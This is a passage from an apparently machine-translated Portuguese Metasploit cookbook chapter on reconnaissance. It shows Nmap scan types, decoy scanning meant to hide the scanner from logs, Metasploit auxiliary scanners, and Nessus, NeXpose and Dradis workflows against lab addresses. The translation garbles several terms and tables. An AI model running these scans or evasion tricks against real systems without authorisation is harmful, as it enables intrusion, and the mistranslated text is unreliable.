está sendo registrado. As informações de transferência de zona são fornecidas principalmente aos
servidores DNS para construir um mapeamento adequado dos domínios registrados. A consulta dig pode
ajudar na busca dessas informações. O cabeçalho SMTP é o corpo de dados original de um e-mail. Por
ser a principal representação de dados dos e-mails, contém muitas informações sobre o remetente do e-mail.

Os idiotas do Google nada mais são do que os resultados de pesquisa de vários arquivos que o rastreador do
Google indexa. Depois que o arquivo for indexado em uma pesquisa do Google, ele poderá ser visualizado usando
alguns tipos de pesquisa específicos.

Tem mais...

Diversão com idiotas


www.jhony.ihackstuff.com é o guia mais completo para idiotas do Google, onde você pode encontrar uma
lista completa de idiotas que podem revelar muitas informações ocultas sobre seu alvo.

Escaneamento de portas – o jeito Nmap


A varredura de portas é uma técnica ativa de coleta de informações na qual agora começaremos a lidar
diretamente com nosso alvo. A varredura de portas é um processo interessante de coleta de informações.
Envolve uma pesquisa mais profunda da máquina de destino. O Nmap é o scanner mais poderoso e
preferido dos profissionais de segurança. O uso do Nmap varia de iniciante a um nível avançado.
Analisaremos detalhadamente as várias técnicas de escaneamento.

Preparando-se
Iniciar o nmap a partir do Metasploit é fácil. Inicie o console msf e digite nmap para exibir a lista de opções
de varredura que o Nmap fornece.

msf > nmap

34
Machine Translated by Google

Capítulo 2

Como fazer isso...


Analisaremos quatro tipos diferentes de varreduras do Nmap que podem ser muito úteis durante o teste de
penetração. O Nmap fornece muitos modos diferentes para escanear a máquina de destino.
Aqui, vamos nos concentrar em quatro tipos de varredura: varredura de conexão TCP, varredura furtiva SYN,
varredura UDP e varredura ACK. As diferentes opções de varredura do Nmap também podem ser combinadas em
uma única varredura para realizar uma varredura mais avançada e sofisticada sobre o alvo. Vamos seguir em frente
e iniciar o processo de digitalização.

TCP connect [-sT] scan é o tipo de scan mais básico e padrão no Nmap. Ele segue o processo de handshake de três
vias para detectar as portas abertas na máquina de destino. Vamos realizar esta varredura em nosso alvo.

msf > nmap -sT -p1-10000 192.168.56.102 [*] exec: nmap


-sT -p1-10000 192.168.56.102

Iniciando o Nmap 5.51SVN ( http://nmap.org ) em 19/10/2011 00:03 IST Relatório de verificação


do Nmap para 192.168.56.102 O host está ativo (latência de 0,0058s).

Não mostrado: 9997 portas fechadas

PORT STATE SERVICE 135/


tcp open msrpc 139/tcp
open netbios-ssn 445/tcp open
microsoft-ds
Endereço MAC: 08:00:27:34:A8:87 (Cadmus Computer Systems

Como podemos ver, passamos o parâmetro –sT que denota que queremos executar uma varredura de conexão TCP.
O parâmetro –p mostra o intervalo de números de porta que queremos verificar.
A varredura de conexão TCP é baseada em um processo de handshake de três vias, portanto, os resultados dessa
varredura retornados são considerados precisos.

A varredura SYN [-sS] é considerada uma técnica de varredura furtiva, pois nunca forma uma conexão completa
entre o alvo e o scanner. Por isso, também é chamado de varredura semi-aberta.
Vamos analisar uma varredura SYN no alvo.

msf > nmap -sS 192.168.56.102 [*] exec:


nmap -sS 192.168.56.102

Iniciando o Nmap 5.51SVN ( http://nmap.org ) em 2011-10-19 00:17 IST Nmap scan report for
192.168.56.102 Host is up (0.0019s latency).

Não mostrado: 997 portas fechadas

35
Machine Translated by Google

Coleta e digitalização de informações

SERVIÇO DO ESTADO DO PORTO

135/tcp aberto msrpc 139/tcp


aberto netbios-ssn 445/tcp aberto
microsoft-ds
Endereço MAC: 08:00:27:34:A8:87 (Cadmus Computer Systems

O parâmetro –sS instruirá o Nmap a executar uma varredura SYN na máquina de destino. A saída da
conexão TCP e da varredura SYN são semelhantes na maioria dos casos, mas a única diferença reside
no fato de que as varreduras SYN são difíceis de detectar por firewalls e sistemas de detecção de
intrusão (IDS). No entanto, os firewalls modernos também são capazes de detectar varreduras SYN.

A varredura UDP [-sU] é a técnica de varredura para identificar portas UDP abertas no destino.
Pacotes UDP de 0 byte são enviados para a máquina de destino e o destinatário de uma mensagem de
porta inacessível ICMP mostra que a porta está fechada, caso contrário, ela é considerada aberta. Pode
ser utilizado da seguinte forma:

msf > nmap –sU –p9001 192.168.56.102

O comando a seguir verificará se a porta UDP em 192.168.56.102 está aberta ou não. Da mesma
forma, podemos executar uma varredura UDP em um intervalo completo de portas modificando o
operador –p .

A varredura de ACK [-sA] é um tipo de varredura especial que informa quais portas são filtradas ou
não filtradas por um firewall. Ele opera enviando quadros TCP ACK para uma porta remota. Se não houver
resposta, é considerada uma porta filtrada. Se o destino retornar um pacote RST (reinicialização da
conexão), a porta será considerada uma porta não filtrada.

msf > nmap -sA 192.168.56.102 [*] exec: nmap


-sA 192.168.56.102

Iniciando o Nmap 5.51SVN ( http://nmap.org ) em 2011-10-19 00:19 IST Nmap scan report for
192.168.56.102 Host is up (0.0011s latency).

Não mostrado: 999 portas filtradas

PORTA ESTADO SERVICE


9001/tcp tor-orport não filtrado

Endereço MAC: 08:00:27:34:A8:87 (Cadmus Computer Systems)

A saída anterior mostra o resultado de uma verificação de ACK realizada no destino. A saída mostra
que todas as portas no destino são filtradas, exceto a porta número 9001, que não é filtrada.
Isso nos ajudará a descobrir pontos fracos em nosso alvo, pois atacar uma porta não filtrada terá uma
melhor taxa de sucesso na exploração do alvo.

36
Machine Translated by Google

Capítulo 2

Como funciona...
Geralmente, os testadores de penetração não enfatizam muito o processo de varredura, mas uma boa varredura pode
fornecer muitos resultados úteis. Como as informações coletadas aqui formarão a base do teste de penetração,
portanto, o conhecimento adequado dos tipos de verificação é altamente recomendado. Vamos agora dar uma olhada
mais profunda em cada uma dessas técnicas de digitalização que acabamos de aprender.

A varredura de conexão TCP é a técnica de varredura mais básica na qual uma conexão completa é
estabelecida com a porta em teste. Ele usa as funções de rede do sistema operacional para estabelecer
conexões. O scanner envia um pacote SYN para a máquina de destino. Se a porta estiver aberta, ela retornará
uma mensagem ACK ao scanner. O scanner então envia um pacote ACK de volta ao destino mostrando o
estabelecimento bem-sucedido de uma conexão. Isso é chamado de processo de handshake de três vias. A conexão
é encerrada assim que é aberta. Essa técnica tem seus benefícios, mas é facilmente rastreável por firewalls e IDS.

Uma varredura SYN é outro tipo de varredura TCP, mas nunca forma uma conexão completa com o destino. Ele
não usa as funções de rede do sistema operacional, em vez disso, gera pacotes IP brutos e monitora as respostas.
Se a porta estiver aberta, o destino responderá com uma mensagem ACK. O scanner então envia uma mensagem
RST (redefinir conexão) e encerra a conexão. Por isso, também é chamado de varredura semi-aberta. Isso é
considerado uma técnica de varredura furtiva, pois pode evitar o surgimento de um sinalizador em alguns firewalls
e IDS mal configurados.

A varredura UDP é uma técnica de varredura sem conexão, portanto, nenhuma notificação é enviada de volta ao
scanner, independentemente de o pacote ter sido recebido pelo destino ou não. Se a porta estiver fechada, uma
mensagem de porta inacessível ICMP será enviada de volta ao scanner. Se nenhuma mensagem for recebida, a
porta será relatada como aberta. Este método pode retornar resultados falsos, pois os firewalls podem bloquear os
pacotes de dados e, portanto, nenhuma mensagem de resposta será gerada e o scanner informará a porta como
aberta.

Uma varredura ACK tem o único propósito de identificar portas filtradas e não filtradas. É uma técnica de varredura
única e prática que pode ser útil para encontrar pontos fracos no sistema de destino, pois as portas não filtradas
podem ser alvos fáceis. Mas uma grande desvantagem com uma varredura de ACK é que, como ela nunca se conecta
ao alvo, ela não consegue identificar as portas abertas. As saídas de uma varredura de ACK listarão apenas se a porta
é filtrada ou não filtrada. Combinar uma varredura ACK com outros tipos de varredura pode tornar o processo de
varredura muito furtivo.

Tem mais...
Vamos cobrir mais sobre as varreduras do nmap e ver como podemos agrupar diferentes tipos de varredura em um.

37
Machine Translated by Google

Coleta e digitalização de informações

Sistema operacional e detecção de versão Existem algumas opções


avançadas fornecidas pelo Nmap, além da varredura de portas. Essas opções podem nos ajudar a obter mais
informações sobre nosso alvo. Uma das opções mais utilizadas é a identificação do sistema operacional [-O]. Isso
pode nos ajudar a identificar o sistema operacional em execução na máquina de destino. Uma saída de varredura de
detecção do sistema operacional é mostrada, como segue:

msf > nmap -O 192.168.56.102 [*] exec:


nmap -O 192.168.56.102

Iniciando o Nmap 5.51SVN ( http://nmap.org ) em 19/10/2011 02:25 IST Relatório de verificação


do Nmap para 192.168.56.102 O host está ativo (latência de 0,0014s).

Endereço MAC: 08:00:27:34:A8:87 (Cadmus Computer Systems)


Tipo de dispositivo: propósito geral

Executando: Microsoft Windows XP|2003

Como podemos ver, o Nmap detectou com sucesso o sistema operacional da máquina de destino.
Isso pode facilitar nossa tarefa de encontrar as explorações certas de acordo com o sistema operacional
do alvo.

A outra opção amplamente usada do Nmap é a detecção de versão [-sV] de diferentes portas abertas no destino.
Ele pode ser combinado com qualquer um dos tipos de verificação que vimos anteriormente para adicionar um
pouco mais de informação sobre qual versão dos serviços está sendo executada nas portas abertas do destino.

msf > nmap -sT -sV 192.168.56.102 [*] exec: nmap


-sV 192.168.56.102

Iniciando o Nmap 5.51SVN (http://nmap.org) em 19/10/2011 02:27 IST Relatório de verificação do


Nmap para 192.168.56.102 O host está ativo (latência de 0,0011s).

Não mostrado: 997 portas fechadas


PORT ESTADO SERVIÇO
VERSÃO

135/tcp abrir msrpc Microsoft Windows RPC netbios-


139/tcp abrir ssn
445/tcp abrir microsoft-ds Microsoft Windows XP

Endereço MAC: 08:00:27:34:A8:87 (Cadmus Computer Systems)


Informações do serviço: SO: Windows

Como podemos ver, uma coluna extra de Versões foi adicionada em nossa saída de verificação, que
informa sobre as diferentes versões de serviços em execução na máquina de destino.

38
Machine Translated by Google

Capítulo 2

Aumentando o anonimato É
muito essencial realizar verificações de maneira anônima. Os logs do firewall e IDS podem revelar
seu endereço IP se você executar uma varredura sem usar medidas de segurança. Um desses
recursos é fornecido no Nmap , chamado Decoy [-D].

A opção chamariz não impede que seu endereço IP seja registrado no arquivo de log de firewalls e
IDS, mas torna a verificação assustadora. Ele adiciona outros torrents nos arquivos de log, criando
assim a impressão de que existem vários outros invasores verificando a máquina simultaneamente.
Portanto, se você adicionar dois endereços IP falsos, o arquivo de log mostrará que os pacotes de
solicitação foram enviados de três endereços IP diferentes, um será o seu e os outros dois serão os
endereços falsos adicionados por você.

msf > nmap -sS 192.168.56.102 -D 192.134.24.34,192.144.56.21

O exemplo de varredura a seguir mostra o uso do parâmetro chamariz. Os endereços IP após o


operador -D são os endereços IP falsos que também aparecerão nos arquivos de log da rede da
máquina de destino, juntamente com o endereço IP original. Esse processo pode confundir os
administradores de rede e criar suspeitas de que todos os três endereços IP são falsos ou falsificados.
Mas adicionar muitos endereços de chamariz pode afetar os resultados da verificação, portanto, deve-
se usar apenas um número limitado de endereços de chamariz.

Explorando módulos auxiliares para escaneamento


Os módulos auxiliares são os módulos embutidos de um Metasploit que podem nos ajudar a realizar
uma variedade de tarefas. Eles são diferentes dos exploits, pois são executados na máquina do pen-
tester e também não fornecem nenhum shell. Existem mais de 350 módulos auxiliares diferentes
presentes no framework Metasploit, cada um com tarefas específicas. Aqui vamos discutir os módulos
auxiliares do scanner.

Preparando-se
Para usar qualquer módulo auxiliar, teremos que seguir três passos simples para deixar nosso módulo
pronto para o lançamento. Vamos passar pelo processo de três etapas.

1. Ativando o módulo: O comando use é usado para ativar o módulo específico


e pronto para receber comandos.
2. Especificações de configuração: O comando set é usado para configurar os vários parâmetros
que o módulo requer para executar.
3. Executando o módulo: Depois de concluir as duas primeiras etapas, o comando run é usado
para finalmente executar o módulo e gerar o resultado.

39
Machine Translated by Google

Coleta e digitalização de informações

Para visualizar os módulos de varredura disponíveis no framework Metasploit, podemos navegar até o seguinte local:

root@bt:~# cd /pentest/exploits/framework3/modules/auxiliary/scanner

Para começar a usar os módulos, teremos que iniciar nossa sessão msfconsole .

Como fazer isso...


Vamos agora implementar praticamente essas etapas para executar um módulo auxiliar de varredura de portas.

Para começar, vamos procurar os módulos de varredura de portas disponíveis para nós no framework.

msf > pesquisar portscan

Módulos correspondentes
================

Data de divulgação do nome Classificação Descrição


---- --------------- ÿ
---- -----------
auxiliar/scanner/portscan/ack auxiliar/scanner/ Verificador de firewall TCP ACK normal
portscan/ftpbounce normal FTP Bounce Port Scanner auxiliar/scanner/portscan/syn normal TCP SYN
Port Scanner auxiliar/scanner/portscan/tcp normal TCP Port Scanner auxiliar/scanner/portscan/xmas
normal Scanner de porta TCP "XMas"

Podemos ver a lista de scanners disponíveis. Ele contém alguns dos tipos básicos de varredura que discutimos nas
receitas anteriores. Vamos começar com uma varredura SYN simples para começar.

Como funciona...
Agora vamos seguir nosso processo de três etapas para começar a usar o módulo. Comecemos pelo primeiro passo.

1. Para ativar o módulo, executaremos o seguinte comando:

msf > usar auxiliar/scanner/portscan/syn msf auxiliar(syn)


>

Descobriremos que o prompt mudou para o módulo que queremos usar.


Isso indica que o módulo agora está ativo.

2. Agora vamos ver quais parâmetros são requeridos pelo módulo. isso será feito
usando o comando show options :

msf auxiliar(syn) > mostrar opções

Opções do módulo (auxiliar/scanner/portscan/syn):

Nome Configuração atual necessária Descrição

40
Machine Translated by Google

Capítulo 2

---- --------------- -------- -----------


TAMANHO DO LOTE 256 sim número de hosts para escanear por conjunto
INTERFACE não O nome da interface
PORTAS 1-10000 sim Portas para escanear o intervalo de
RHOSTS sim endereço de destino ou CIDR
O SNAP 65535 sim O número de bytes a serem capturados 1 sim O número de threads
TÓPICOS simultâneos 500 sim O tempo limite de leitura da resposta em milissegundos
TEMPO ESGOTADO

A primeira coluna lista todos os parâmetros necessários. A coluna chamada Required nos diz quais parâmetros
são necessários para passar. É necessário que todos os parâmetros marcados como sim contenham um valor.
Como podemos ver, todas as colunas contêm valores padrão. RHOSTS contém o intervalo de endereços IP
que queremos verificar. Então, vamos definir o parâmetro RHOSTS com nosso endereço IP de destino.

msf auxiliar(syn) > definir RHOSTS 192.168.56.1 RHOSTS => 192.168.56.1

Agora nosso módulo está pronto para executar uma varredura SYN em nosso endereço IP de destino.
Usando o comando set , também podemos alterar os outros valores. Por exemplo, se quisermos alterar
o intervalo de números de porta, o seguinte comando pode resolver nosso propósito:

msf auxiliar(syn) > definir PORTAS 1-500

3. Por fim, nosso último passo será executar o módulo para realizar sua respectiva ação:

msf auxiliar(syn) > executar

Na execução bem-sucedida do comando de execução , o módulo executará uma varredura SYN e produzirá resultados.

Tem mais...
Vamos entender o uso de threads na próxima seção.

Gerenciando os encadeamentos
Definir e gerenciar o número de encadeamentos em módulos auxiliares pode melhorar muito o desempenho dos
módulos auxiliares. Caso você precise verificar uma rede inteira ou um intervalo de endereços IP, aumentar o número
de threads tornará o processo de verificação mais rápido.

msf auxiliar(syn) > definir THREADS 10

41
Machine Translated by Google

Coleta e digitalização de informações

Varredura de serviço alvo com módulos


auxiliares
Vamos agora tentar algumas varreduras direcionadas para serviços específicos executados em um intervalo de
endereços IP ou em um único host de destino. Várias varreduras baseadas em serviço estão disponíveis; VNC, FTP,
SMB e assim por diante. Os módulos auxiliares podem ser muito úteis nessas situações, quando procuramos tipos
específicos de serviços em nosso alvo.

Preparando-se
Vamos descobrir quais módulos auxiliares de varredura baseados em serviço estão disponíveis para nós.
Podemos navegar pelo seguinte caminho:

root@bt:~# cd /pentest/exploits/framework3/modules/auxiliary/scanner

root@bt:/ pentest/exploits/framework3/modules/auxiliary/scanner# ls

backdoor emc ip mysql pop3 dedo lótus sap ssh vnc netbios
db2 portscan sip telefonia
voz
dcerpc ftp misc nfs postgres smb telnet vxworks http motorola ntp smtp tftp x11 rogue
dect mssql oracle rservices snmp upnp
mapa de descoberta

Como podemos ver, existem muitas opções para módulos de varredura de serviço que podem ser muito úteis durante
o teste de penetração. Vamos trabalhar rapidamente alguns deles.

Como fazer isso...


O funcionamento desses módulos de varredura de serviço é semelhante ao uso de qualquer outro módulo.
Seguiremos o mesmo processo de três etapas que aprendemos na receita anterior.

Vamos trabalhar no módulo NetBIOS. A verificação de NetBIOS pode ser benéfica na identificação do sistema
operacional Windows. Desta vez, examinaremos várias redes para descobrir qual máquina está executando um
serviço NetBIOS.

msf > usar auxiliar/scanner/netbios/nbname msf


auxiliar(nbname) > mostrar opções

Opções do módulo (auxiliar/scanner/netbios/nbname):

Nome Configuração atual necessária Descrição


---- --------------- -------- -----------
BATCHSIZE 256 sim O número de hosts para sondar
CHOST não O endereço do cliente local

42
Machine Translated by Google

Capítulo 2

RHOSTS sim O intervalo de endereço de destino


RELATÓRIO 137 sim A porta de destino 1 sim O número de threads
TÓPICOS simultâneos

msf auxiliar(nbname) > definir RHOSTS 192.168.56.1/24 RHOSTS => 192.168.56.1/24


msf auxiliar(nbname) > definir THREADS 10 THREADS => 10

O RHOSTS agora está configurado para varrer todo o intervalo de endereços IP e o número de threads também está
definido como dez. Vamos agora executar este módulo e analisar o resultado.

msf auxiliar(nbname) > executar

[*] Enviando solicitações de status NetBIOS para 192.168.56.0->192.168.56.255 (256 hosts)

[*] 192.168.56.1 [DARKLORD-PC] SO:Windows Nomes:(DARKLORD-PC, WORKGROUP,


__MSBROWSE__) Endereços:(192.168.56.1) Mac:08:00:27:00:a8:a3

[*] 192.168.56.103 [SP3] SO:Windows Nomes:(SP3, WORKGROUP)


Endereços:(10.0.2.15, 192.168.56.103) Mac:08:00:27:4b:65:35

[*] 192.168.56.102 [ABHINAV-5C02603] SO:Windows Nomes:(ABHINAV-5C02603,


WORKGROUP) Endereços:(10.0.2.15, 192.168.56.102) Mac:08:00:27:34:a8:87

[*] Verificado 256 de 256 hosts (100% completo)

A rede tem três máquinas em execução na rede digitalizada que estão usando NetBIOS.
A verificação também relatou seus respectivos endereços MAC.

Vamos realizar outra varredura de serviço. Desta vez, tentaremos localizar quais máquinas estão
executando o servidor de banco de dados MySQL. Além disso, tentaremos descobrir a versão do servidor.

msf > use auxiliar/scanner/mysql/mysql_version

msf auxiliar(mysql_version) > mostrar opções

Opções do módulo (auxiliary/scanner/mysql/mysql_version):

Nome Configuração atual necessária Descrição


---- --------------- -------- -----------
RHOSTS sim O intervalo de endereço de destino
RELATÓRIO 3306 sim A porta de destino
THREADS 1 sim O número de threads simultâneos

msf auxiliar(mysql_version) > definir RHOSTS 192.168.56.1/24

43
Machine Translated by Google

Coleta e digitalização de informações

RHOSTS => 192.168.56.1/24

msf auxiliar(mysql_version) > definir THREADS 10


LINHAS => 10

msf auxiliar(mysql_version) > executar

[*] 192.168.56.102:3306 está executando o MySQL, mas responde com um erro: \ x04Host '192.168.56.101'
não tem permissão para se conectar a este servidor MySQL

O processo de verificação detectou que o endereço IP 192.168.56.102 está executando um servidor MySQL, mas,
infelizmente, não pôde se conectar ao servidor. Esta é outra demonstração de como os módulos auxiliares são
fáceis e práticos, e eles também podem nos fornecer muitas informações úteis.

Recomenda-se que você experimente todos os módulos auxiliares de scanner disponíveis, pois eles podem ajudá-lo
a entender melhor seu alvo.

Como funciona...
Módulos auxiliares são módulos de propósito especial que são construídos para executar uma tarefa específica.
Pode haver situações em que você precisa executar apenas um determinado tipo de varredura para descobrir
serviços. Por exemplo, o scanner auxiliar do MySQL detecta a presença do banco de dados fazendo ping no
número da porta padrão (3306). Além disso, verifica se o login padrão está ativado no banco de dados ou não. Você
pode analisar o script em /modules/auxiliary/scanner. Você pode estender o código de acordo com sua necessidade
ou até mesmo reutilizar o script para construir seu próprio scanner auxiliar específico.

Verificação de vulnerabilidades com o Nessus


Até agora, aprendemos os fundamentos da varredura de portas, juntamente com a implementação prática com o
Nmap. A varredura de portas foi estendida a várias outras ferramentas que aprimoram ainda mais o processo de
varredura e coleta de informações. Nas próximas receitas, abordaremos as ferramentas que verificam o destino em
busca de serviços disponíveis e portas abertas e, em seguida, tentam determinar o tipo de vulnerabilidade que pode
existir para esse serviço ou porta em particular. Vamos começar nossa jornada para a verificação de vulnerabilidades.

O Nessus é um dos scanners de vulnerabilidade mais amplamente usados. Ele verifica o alvo em busca de uma
variedade de vulnerabilidades e produz um relatório detalhado para ele. Nessus é uma ferramenta muito útil
durante testes de penetração. Você pode usar a versão GUI do Nessus ou também pode usá-la no console do
Metasploit. Neste livro, focaremos principalmente no uso do Nessus com o msfconsole.

44
Machine Translated by Google

Capítulo 2

Preparando-se
Para começar a trabalhar com o Nessus no msfconsole, teremos que carregar o Nessus e conectá-lo ao servidor para
iniciar nosso teste de penetração.

Primeiro, conectaremos nosso banco de dados com o Metasploit para armazenar os resultados provisórios. O
processo de iniciar e conectar o banco de dados no Metasploit foi explicado no capítulo anterior. Depois de conectar
o banco de dados, nossa próxima tarefa é carregar o plugin Nessus.

Como fazer isso...

1. Para conectar o banco de dados e carregar o Nessus no Metasploit, executaremos o seguinte comando:
msf > db_connect msf3:8b826ac0@127.0.0.1:7175/ msf3

msf > carregar nessus

[*] Nessus Bridge para Nessus 4.2.x

[+] Digite nessus_help para obter uma lista de comandos

[*] Plugin carregado com sucesso: nessus

2. Depois de carregá-lo com sucesso, teremos que conectá-lo ao servidor. A seguir


comando é usado para conectá-lo com a maneira do servidor:

msf > nessus_connect root:toor@localhost ok

[*] Conectando-se a https://127.0.0.1:8834/ como root


[*] Autenticado

No comando anterior, ok é um parâmetro extra que é passado para garantir que o servidor Nessus
esteja sendo executado em uma rede confiável.

Podemos verificar a lista de usuários disponíveis no Nessus usando o comando


nessus_user_list .

Um novo usuário também pode ser adicionado usando o comando nessus_user_add. Usando o comando
nessus_policy_list, podemos visualizar a lista de políticas disponíveis no servidor.

45
Machine Translated by Google

Coleta e digitalização de informações

Como funciona...
Depois que o Nessus estiver conectado ao servidor, ele poderá ser usado para fazer a varredura das máquinas
de destino. O processo de digitalização é simples e rápido. Vamos fazer uma varredura rápida em um alvo para
ver como funciona a varredura do Nessus. Para iniciar a verificação, teremos que passar o seguinte comando:

msf > nessus_scan_new 1 testscan 192.168.56.102

[*] Criando varredura da política número 1, chamada "testscan" e varredura 192.168.56.102

[*] Verificação iniciada. uid é 9d337e9b-82c7-89a1-a194-4ef154b82f624de2444e6ad18a1f

Após a conclusão do processo de digitalização, nosso próximo objetivo será importar a lista gerada pelo Nessus.
Vamos verificar a lista disponível:

msf > nessus_report_list

[+] Lista de relatórios do Nessus

EU IA Nome Status
---- ------

9d337e9b - 82c7 -

89a1-a19-4ef154b82 testcan concluído


f624de2444e6ad18a1f

A coluna ID representa o relatório que foi gerado como resultado de nossa verificação.
Vamos importar este relatório agora.

msf > nessus_report_get 9d337e9b-82c7-89a1-a1944ef154b82f624de2444e6ad18 a1f

[*] importando 9d337e9b-82c7-89a1-a1944ef154b82f624de2444e6ad18a1f

Uma vez que o relatório foi importado, ele agora pode ser operado usando os comandos do console e pode ser
analisado para descobrir os pontos fracos do alvo. Para visualizar as vulnerabilidades no alvo, execute o seguinte
comando:

msf> hosts –c address, vuls, os_name

Tem mais...
Vejamos um guia rápido para trabalhar com o Nessus no modo GUI.

46
Machine Translated by Google

Capítulo 2

Trabalhando com o Nessus no navegador da Web O


Nessus também pode ser usado em seu modo GUI, que também é tão poderoso e fácil de
usar quanto o modo de console. Se estiver usando o Nessus pela primeira vez, primeiro você
terá que se registrar e obter um código de registro no site do Nessus. As inscrições podem ser
feitas no seguinte link:

http://www.nessus.org/register/

Uma vez concluído o registro, teremos que iniciar o Nessus e adicionar o código de registro.
Vá para Aplicativos | BackTrack | Avaliação de Vulnerabilidade | Avaliação de rede |
Verificador de Vulnerabilidade | nessus start.

Ao iniciar o Nessus, você pode receber a seguinte mensagem de erro:

Iniciando o Nessus: Plugins .


ausentes. Tentando atualizar o plug-in...
Sua instalação está faltando plugins. Por favor, registre-se e tente novamente.
Para se registrar, visite http://www.nessus.org/register/

O erro ocorre porque o Nessus ainda não está registrado. Para se registrar, teremos que usar o código
de registro que recebemos por e-mail do Nessus. O seguinte comando nos ajudará a concluir o processo
de registro:

/opt/nessus/bin/nessus-fetch –registre SEU CÓDIGO DE REGISTRO

root@bt:~# / opt/nessus/bin/nessus-fetch --register E8A5-5367-982E-05CB


972A

Seu código de ativação foi registrado corretamente - obrigado.


Agora, buscando o mais novo conjunto de plug-ins em plugins.nessus.org...
Sua instalação do Nessus agora está atualizada.
Se auto_update estiver definido como 'yes' em nessusd.conf, o Nessus atualizará os plug-ins
por conta própria.

Agora inicie o navegador e digite o seguinte endereço:

https://localhost:8834

Se você estiver iniciando o Nessus no navegador pela primeira vez, levará algum tempo para
carregar. Então seja paciente.

Digitalizando com o NeXpose


Na receita anterior, discutimos o Nessus como um potencial scanner de vulnerabilidade.
Nesta receita, abordaremos outro importante scanner de vulnerabilidade NeXpose.

47
Machine Translated by Google

Coleta e digitalização de informações

NeXpose é uma ferramenta popular da Rapid7 que executa a tarefa de escanear vulnerabilidades e importar
resultados para o banco de dados Metasploit. O uso do NeXpose é semelhante ao Nessus que aprendemos
na receita anterior, mas vamos dar uma rápida olhada em como começar com o NeXpose. Vou deixar a tarefa
de explorá-lo mais profundamente como uma tarefa para você.

Preparando-se
Para iniciar o NeXpose a partir do console msf , primeiro teremos que conectar o banco de dados ao
Metasploit e, em seguida, carregar o plug-in para conectá-lo ao servidor NeXpose para iniciar o processo
de verificação de destino. Vamos executar essas etapas na linha de comando.

msf > db_connect msf3:8b826ac0@127.0.0.1:7175/ msf3

msf > carregar exposição

msf > expose_connect darklord:toor@localhost ok

[*] Conectando-se à instância NeXpose em 127.0.0.1:3780 com o nome de usuário darklord...

Como fazer isso...


Agora que estamos conectados ao nosso servidor, podemos escanear nosso alvo e gerar relatórios.
Existem dois comandos de varredura suportados pelo NeXpose. Um é exppose_scan e o outro é
exppose_discover. O primeiro varrerá uma variedade de endereços IP e importará os resultados, enquanto o
segundo fará a varredura apenas para descobrir hosts e serviços em execução neles. Vamos fazer uma varredura
rápida em nosso alvo usando o NeXpose.

msf > expose_discover 192.168.56.102

[*] Digitalizando 1 endereço com descoberta agressiva de modelo em conjuntos de 32


[*] Completou a varredura de 1 endereços

Como funciona...
Após a conclusão da verificação, podemos visualizar seus resultados usando os comandos de banco de dados
padrão do console msf .

Vamos ver quais resultados de varredura foram produzidos pelo NeXpose:

msf > hosts -c endereço,os_name,os_flavor

48
Machine Translated by Google

Capítulo 2

Anfitriões

=====

endereço os_name os_flavor


------- ------- ----------

192.168.56.102MicrosoftWindows EXP

msf >

Tem mais...
Após a coleta das informações, a etapa final será a importação dos resultados. Vejamos como é executado.

Importando os resultados da verificação


Você pode ignorar essas informações se tiver usado o Nessus e o NeXpose do msfconsole.

Ao usar a versão GUI do Nessus ou do NeXpose, você terá que importar manualmente os resultados da verificação
para o banco de dados. A razão pela qual estou enfatizando a importação e armazenamento de resultados é que em
nosso próximo capítulo veremos como podemos usar o comando autopwn para executar explorações automaticamente
em hosts presentes em nosso banco de dados. Portanto, para importar os resultados da verificação, usaremos o
comando db_import da seguinte forma: db_import filename

msf > db_import exposelist.xml

[*] Importando dados 'Nexpose XML (v2)'


[*] Importando host 192.168.56.102
[*] /root/nexposelist.xml importado com sucesso

Compartilhando informações com a


estrutura Dradis
Em nossas receitas anteriores, aprendemos várias técnicas para obter informações sobre nosso alvo. Ao realizar
testes de penetração, podemos precisar compartilhar informações com outros testadores de invasão que podem
estar localizados em outros locais físicos. Nesse caso, o compartilhamento das informações de teste de
penetração pode ser facilitado usando a estrutura Dradis.
É uma estrutura de código aberto para compartilhar informações durante as avaliações de segurança.
Possui vários recursos que o tornam uma excelente ferramenta de compartilhamento de informações.
Alguns deles são:

f Comunicação por SSL


f Anexo de arquivos e notas

49
Machine Translated by Google

Coleta e digitalização de informações

f Importe os resultados da verificação do Nessus, NeXpose e assim por

diante f Pode ser estendido para conectar-se a sistemas externos como um banco de dados de vulnerabilidade

Embora não nos ajude a obter nenhuma informação sobre o alvo, a ferramenta é importante para todos os profissionais
de segurança no compartilhamento de resultados e descobertas de testes de invasão.

Preparando-se
Para lançar o framework Dradis no BackTrack, teremos que executar o seguinte comando no terminal:

root@bt:~# cd /pentest/misc/dradis

root@bt:/ pentest/misc/dradis# ./start.sh

Uma vez executado o comando com sucesso, podemos lançar o framework desde nosso navegador passando o seguinte
endereço:

https://127.0.0.1:3004

Seremos solicitados a configurar uma senha e uma conta para o framework.

50
Machine Translated by Google

Capítulo 2

Como fazer isso...


Vamos começar nosso experimento com Dradis. A estrutura nos permite construir uma estrutura semelhante
a uma árvore para os endereços de domínio e subdomínio. Isso nos dá uma visão clara da estrutura de destino e
nos ajuda a armazenar informações de forma lógica. Ele também fornece recursos para gerar um relatório
completo das informações de forma sistemática.

Existem cinco opções importantes que a estrutura nos fornece. Eles são adicionar ramificação, importar do
arquivo, exportar, adicionar nota e categorias de nota.

Depois de fazer login com suas credenciais, você verá uma tela semelhante à mostrada na captura de tela
anterior. Você pode localizar as cinco opções no canto esquerdo da estrutura. Vamos ver o que essas opções
fazem por nós.

Como funciona...
Vamos começar criando um novo relatório. O processo é simples e começa com a adição de hosts e sub-hosts.

A opção add branch nos permite adicionar um novo IP ou nome de domínio. Depois que um domínio de nível
superior é adicionado, podemos adicionar ainda mais seu filho para incluir subdomínios também. Agora, a próxima
tarefa é adicionar informações sobre eles.

A opção adicionar nota nos permite adicionar informações que coletamos de vários resultados de verificação. Por
exemplo, podemos adicionar resultados de varredura do Nmap, Nessus e assim por diante.

51
Machine Translated by Google

Coleta e digitalização de informações

A opção de categorias de notas nos ajuda a selecionar o meio que usamos para obter as
informações. As várias opções incluem varredura Brup, varredura Nessus, NeXpose, Nmap e
assim por diante. Você pode escolher a opção apropriada que usou para gerar os resultados da verificação.

A captura de tela a seguir mostra informações sobre a varredura do Nmap realizada em um intervalo
de endereços IP 192.168.56.1/24. A estrutura em árvore do lado esquerdo contém informações sobre
os destinos disponíveis e a coluna da direita fornece relatórios sobre isso.

A próxima coisa que podemos fazer com a estrutura Dradis é importar um relatório existente ou
exportar um relatório criado.

A opção Importar do arquivo nos oferece a flexibilidade de importar resultados digitalizados


anteriormente de diferentes scanners. Isso aumenta ainda mais o poder dessa estrutura, pois diferentes
